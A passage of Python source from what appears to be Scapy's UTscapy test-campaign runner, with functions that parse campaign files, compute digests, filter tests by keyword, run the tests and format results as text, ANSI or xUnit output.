parse_campaign_file(campaign_file): test_campaign = TestCampaign("Test campaign") test_campaign.filename= campaign_file.name testset = None test = None testnb = 0 for l in campaign_file.readlines(): if l[0] == '#': continue if l[0] == "~": (test or testset or campaign_file).add_keywords(l[1:].split()) elif l[0] == "%": test_campaign.title = l[1:].strip() elif l[0] == "+": testset = TestSet(l[1:].strip()) test_campaign.add_testset(testset) test = None elif l[0] == "=": test = UnitTest(l[1:].strip()) test.num = testnb testnb += 1 testset.add_test(test) elif l[0] == "*": if test is not None: test.comments += l[1:] elif testset is not None: testset.comments += l[1:] else: test_campaign.headcomments += l[1:] else: if test is None: if l.strip(): print("Unknown content [%s]" % l.strip(), file = sys.stderr) else: test.test += l return test_campaign def dump_campaign(test_campaign): print("#"*(len(test_campaign.title)+6)) print("## %(title)s ##" % test_campaign) print("#"*(len(test_campaign.title)+6)) if test_campaign.sha and test_campaign.crc: print("CRC=[%(crc)s] SHA=[%(sha)s]" % test_campaign) print("from file %(filename)s" % test_campaign) print() for ts in test_campaign: if ts.crc: print("+--[%s]%s(%s)--" % (ts.name,"-"*max(2,80-len(ts.name)-18),ts.crc)) else: print("+--[%s]%s" % (ts.name,"-"*max(2,80-len(ts.name)-6))) if ts.keywords: print(" kw=%s" % ",".join(ts.keywords)) for t in ts: print("%(num)03i %(name)s" % t) c = k = "" if t.keywords: k = "kw=%s" % ",".join(t.keywords) if t.crc: c = "[%(crc)s] " % t if c or k: print(" %s%s" % (c,k) ) #### COMPUTE CAMPAIGN DIGESTS #### def crc32(x): return "%08X" % (0xffffffff & zlib.crc32(x)) def sha1(x): return hashlib.sha1(x).hexdigest().upper() def compute_campaign_digests(test_campaign): dc = b"" for ts in test_campaign: dts = b"" for t in ts: dt = t.test.strip().encode('ascii') t.crc = crc32(dt) dts += b"\0"+dt ts.crc = crc32(dts) dc += b"\0\x01"+dts test_campaign.crc = crc32(dc) if type(test_campaign.filename) is str and test_campaign.filename != '': test = open(test_campaign.filename, 'rb').read() elif test_campaign.filename == '': test = sys.stdin.read().encode('ascii') else: raise Exception("Unknown test source %s" % test_campaign.filename) test_campaign.sha = sha1(test) #### FILTER CAMPAIGN ##### def filter_tests_on_numbers(test_campaign, num): if num: for ts in test_campaign: #ts.set = filter(lambda t: t.num in num, ts.set) ts.set = [ t for t in ts.set if t.num in num ] #test_campaign.campaign = filter(lambda ts: len(ts.set) > 0, test_campaign.campaign) test_campaign.campaign = [ ts for ts in test_campaign.campaign if len(ts.set) > 0 ] def filter_tests_keep_on_keywords(test_campaign, kw): def kw_match(lst, kw): for k in lst: if k in kw: return True return False if kw: for ts in test_campaign: #ts.set = filter(lambda t: kw_match(t.keywords, kw), ts.set) ts.set = [ t for t in ts.set if kw_match(t.keywords, kw) ] def filter_tests_remove_on_keywords(test_campaign, kw): def kw_match(lst, kw): for k in kw: if k not in lst: return False return True if kw: for ts in test_campaign: #ts.set = filter(lambda t: not kw_match(t.keywords, kw), ts.set) ts.set = [ t for t in ts.set if not kw_match(t.keywords, kw) ] def remove_empty_testsets(test_campaign): #test_campaign.campaign = filter(lambda ts: len(ts.set) > 0, test_campaign.campaign) test_campaign.campaign = [ ts for ts in test_campaign.campaign if len(ts.set) > 0 ] #### RUN CAMPAIGN ##### def run_campaign(test_campaign, get_interactive_session, verb=2): passed=failed=0 if test_campaign.preexec: test_campaign.preexec_output = get_interactive_session(test_campaign.preexec.strip())[0] for testset in test_campaign: for t in testset: t.output,res = get_interactive_session(t.test.strip()) the_res = False try: if res is None or res: the_res= True except Exception as msg: t.output+="UTscapy: Error during result interpretation:\n" t.output+="".join(traceback.format_exception(sys.exc_type, sys.exc_value, sys.exc_traceback,)) if the_res: t.res = True res = "passed" passed += 1 else: t.res = False res = "failed" failed += 1 t.result = res if verb > 1: print("%(result)6s %(crc)s %(name)s" % t, file = sys.stderr) test_campaign.passed = passed test_campaign.failed = failed if verb: print("Campaign CRC=%(crc)s SHA=%(sha)s" % test_campaign, file = sys.stderr) print("PASSED=%i FAILED=%i" % (passed, failed), file = sys.stderr) #### INFO LINES #### def info_line(test_campaign): filename = test_campaign.filename if filename is None: return "Run %s by UTscapy" % time.ctime() else: return "Run %s from [%s] by UTscapy" % (time.ctime(), filename) def html_info_line(test_campaign): filename = test_campaign.filename if filename is None: return """Run %s by
UTscapy
""" % time.ctime() else: return """Run %s from [%s] by UTscapy
""" % (time.ctime(), filename) #### CAMPAIGN TO something #### def campaign_to_TEXT(test_campaign): output="%(title)s\n" % test_campaign output += "-- "+info_line(test_campaign)+"\n\n" output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign for testset in test_campaign: output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t return output def campaign_to_ANSI(test_campaign): output="%(title)s\n" % test_campaign output += "-- "+info_line(test_campaign)+"\n\n" output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign for testset in test_campaign: output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t return output def campaign_to_xUNIT(test_campaign): output='\n\n' for testset in test_campaign: for t in testset: output += ' %(title)s